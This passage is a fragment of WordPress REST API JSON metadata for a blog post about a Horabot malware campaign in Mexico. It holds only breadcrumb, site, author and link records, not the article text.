king-a-new-horabot-campaign-in-mexico\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/blog.ibvl.in\/"},{"@type":"ListItem","position":2,"name":"The SOC Files: Time to \u201cSapecar\u201d. Unpacking a new Horabot campaign in Mexico"}]},{"@type":"WebSite","@id":"https:\/\/blog.ibvl.in\/#website","url":"https:\/\/blog.ibvl.in\/","name":"Imperative Business Ventures Limited","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/blog.ibvl.in\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/55b87b72a56b1bbe9295fe5ef7a20b02","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/blog.ibvl.in\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4d20b2cd313e4417a599678e950e6fb7d4dfa178a72f2b769335a08aaa615aa9?s=96&d=mm&r=g","caption":"admin"},"sameAs":["https:\/\/blog.ibvl.in"],"url":"https:\/\/blog.ibvl.in\/index.php\/author\/admin_hcbs9yw6\/"}]}},"_links":{"self":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/posts\/1980","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/comments?post=1980"}],"version-history":[{"count":0,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/posts\/1980\/revisions"}],"wp:attachment":[{"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/media?parent=1980"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/categories?post=1980"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.ibvl.in\/index.php\/wp-json\/wp\/v2\/tags?post=1980"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}